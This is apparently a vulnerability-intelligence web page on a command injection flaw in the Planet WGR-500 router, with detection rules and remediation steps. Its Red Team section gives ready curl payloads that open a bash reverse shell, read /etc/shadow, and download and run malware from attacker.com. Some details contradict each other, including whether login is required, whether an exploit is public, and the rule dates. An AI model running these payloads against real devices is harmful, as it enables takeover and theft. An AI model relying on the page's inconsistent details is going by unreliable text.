☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54403

CVE-2025-54403 OS Command Injection in Planet
📅 PUBLISHED: 2025-10-07 13:55 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 4.57%
👁️
4.57% probability
114.3× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54403 is a critical OS command injection vulnerability affecting the Planet WGR-500 router, specifically firmware version v1.3411b190912. The flaw resides in the swctrl functionality, where the new_password request parameter is improperly sanitized, allowing an unauthenticated attacker to inject arbitrary operating system commands. With a CVSS score of 8.8, this vulnerability enables full remote code execution (RCE) on the device, potentially leading to complete compromise of the router and the network it serves. No public exploit code or patch is currently available, making this a high-priority zero-day threat for organizations using this hardware.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 8.8 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact on confidentiality, integrity, and availability. An attacker can execute arbitrary commands with the privileges of the web server, typically root, leading to full device takeover.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the swctrl endpoint of the Planet WGR-500 router. The new_password parameter is passed directly to a system shell command without proper sanitization or escaping. For example, the backend might execute a command like:

echo "new_password" | passwd --stdin admin

If an attacker sends a payload such as new_password=test;id, the shell interprets the semicolon as a command separator, executing id after the intended password change. This allows arbitrary command execution.

The swctrl functionality is likely a proprietary control interface for managing router settings. The lack of input validation and the use of shell commands to handle password changes are the root causes.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess
def change_password(new_password):
    cmd = f"echo {new_password} | passwd --stdin admin"
    subprocess.call(cmd, shell=True)

Patched Code (Conceptual):

import subprocess
def change_password(new_password):
    # Use parameterized commands or proper escaping
    cmd = ["passwd", "--stdin", "admin"]
    proc = subprocess.Popen(cmd, stdin=subprocess.PIPE)
    proc.communicate(input=new_password.encode())

The patched version avoids shell injection by using a list-based command and passing the password via stdin, preventing shell interpretation of special characters.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

  • Target: Planet WGR-500 router with firmware v1.3411b190912
  • Attacker: Kali Linux machine on the same network
  • Tools: curl, netcat, Burp Suite

Exploitation Steps:

  1. Identify the vulnerable endpoint:

    curl -X POST http://<router-ip>/swctrl -d "action=set_password&new_password=test"
    
  2. Inject a command to spawn a reverse shell:

    curl -X POST http://<router-ip>/swctrl -d "action=set_password&new_password=test;bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"
    
  3. Start a listener on the attacker machine:

    nc -lvnp 4444
    
  4. Execute the request to receive a shell on the router.

Alternative Payloads:

  • new_password=test;id (test command execution)
  • new_password=test;cat /etc/shadow (extract password hashes)
  • new_password=test;wget http://attacker.com/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware (deploy malware)

Blue Team (Detection & Response)

Detection Steps:

  1. Monitor HTTP POST requests to /swctrl with unusual new_password values (e.g., containing shell metacharacters like ;, |, &, `).
  2. Look for outbound connections from the router to unknown IPs on high ports (e.g., 4444).
  3. Check for unexpected processes spawned by the web server (e.g., bash, sh, nc).

Response:

  • Immediately isolate the affected router from the network.
  • Review logs for signs of compromise.
  • If possible, downgrade firmware or apply vendor workaround.
  • Reset all credentials and monitor for lateral movement.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP POST requests to /swctrl with new_password containing shell metacharacters.
    • Outbound connections from the router to attacker-controlled IPs on ports 4444, 8080, etc.
    • Unusual DNS queries from the router.
  • Host IOCs:

    • Unexpected processes: bash, sh, nc, python, perl running as root.
    • Modified system binaries or scripts in /tmp or /var.
    • New user accounts or modified /etc/passwd.
  • File IOCs:

    • Files in /tmp with suspicious names (e.g., malware, exploit).
    • Unusual entries in /var/log/messages or /var/log/syslog.

Detection Engineering

YARA Rule

rule CVE_2025_54403_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Planet WGR-500 swctrl new_password parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54403"
    strings:
        $injection1 = /new_password=.*[;&|`$]/
        $injection2 = /new_password=.*\b(bash|sh|nc|wget|curl|python|perl)\b/
        $injection3 = /new_password=.*\/dev\/tcp\//
    condition:
        any of them
}

Sigma Rule

title: Planet WGR-500 Command Injection via swctrl
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts against Planet WGR-500 router swctrl endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54403
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/swctrl'
        cs-uri-query|contains|all:
            - 'new_password='
            - ';'
            - '|'
            - '&'
    condition: selection
falsepositives:
    - Legitimate password changes with special characters (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54403 Planet WGR-500 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/swctrl"; http_uri; content:"new_password="; http_client_body; pcre:"/new_password=.*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices: Disconnect Planet WGR-500 routers from the network until a patch is available.
  2. Implement WAF rules: Block HTTP POST requests to /swctrl with suspicious new_password values.
  3. Monitor logs: Actively search for exploitation attempts using the provided detection rules.

Long-term Fix:

  • Vendor patch: Await an official firmware update from Planet that properly sanitizes the new_password parameter.
  • Workaround: If patching is not possible, disable the swctrl functionality or restrict access to it via firewall rules (e.g., allow only from trusted IPs).

Compensating Controls:

  • Use network segmentation to limit exposure of the router.
  • Deploy an IDS/IPS with the provided Suricata rule.
  • Regularly audit router configurations and logs.

Valters IT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54403/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.